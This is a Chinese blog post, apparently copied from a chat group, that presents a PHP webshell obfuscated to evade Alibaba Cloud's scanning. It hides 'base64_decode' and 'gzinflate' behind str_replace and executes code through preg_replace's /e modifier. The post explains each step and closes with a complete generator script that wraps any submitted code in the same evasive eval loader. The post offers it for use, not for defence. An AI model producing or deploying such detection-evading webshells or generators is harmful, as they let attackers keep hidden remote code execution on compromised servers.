过阿里云webshell

某群看到的一个过阿里云的shell,

<?php 
    $cont = 'K8goyMxLy9fQtAYA';
    $b = str_replace('p', '', 'bpappspep6p4p_ppdpepcpopppdpep');
    $g = str_replace('o', '', 'gozoionofooloaootoeo');
    preg_replace('\'v\'e', 'e'.'v'.'a'.'l'.'($g($b($cont)))', 'v');
    ?>

分析出来是

<?php phpinfo();>

变异过程如下:

  • 原代码-->gzdeflate压缩-->base64编码

几个小细节:

  • gzdeflate,base64_encode等关键字都用str_replace来构造

  • 利用了preg_replace在/e修正下的代码执行,例如preg_replace('/a/e', 'phpinfo();', 'qaq')在匹配成功的时候,会执行参数2的代码。

附上一个加密脚本:

<?php
/*
 @ 免杀shell生成,目前过阿里云
 @ 有机会再多写几个函数
 */
 
//变异函数_1
function encode($cont) {
    $cont_encode = base64_encode(gzdeflate($cont));
    return $cont_encode;
}

if(isset($_POST['cont'])) {
    $cont = $_POST['cont'];
    $encode_shell = encode($cont);
}

//输出变异后代码
function print_shell($encode_shell) {
    $str = '<?php 
    ';
    $str .= '$cont = \''.$encode_shell.'\';
    ';
    $str .= '$b = str_replace(\'p\', \'\', \'bpappspep6p4p_ppdpepcpopppdpep\');
    ';
    $str .= '$g = str_replace(\'o\', \'\', \'gozoionofooloaootoeo\');
    ';
    $str .= 'preg_replace(\'\\\'v\\\'e\', \'e\'.\'v\'.\'a\'.\'l\'.\'($g($b($cont)))\', \'v\');
    ';
    $str .= '?>';
    return $str;
    //highlight_string($str);
}
if(!empty($encode_shell)) {
    $str = print_shell($encode_shell);
}
?>

<html>
<form action="" method="post">
<textarea rows="20" cols="100" name="cont">phpinfo();</textarea>
<br />
<input type="submit" value="encode" />
</form>
<textarea rows="20" cols="100" ><?php if(!empty($str)){echo $str;}?></textarea>
</html>

参考:
http://php.net/manual/zh/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval
https://www.waitalone.cn/eval-gzinflate-base64_decode-decryption.html

标签: none

添加新评论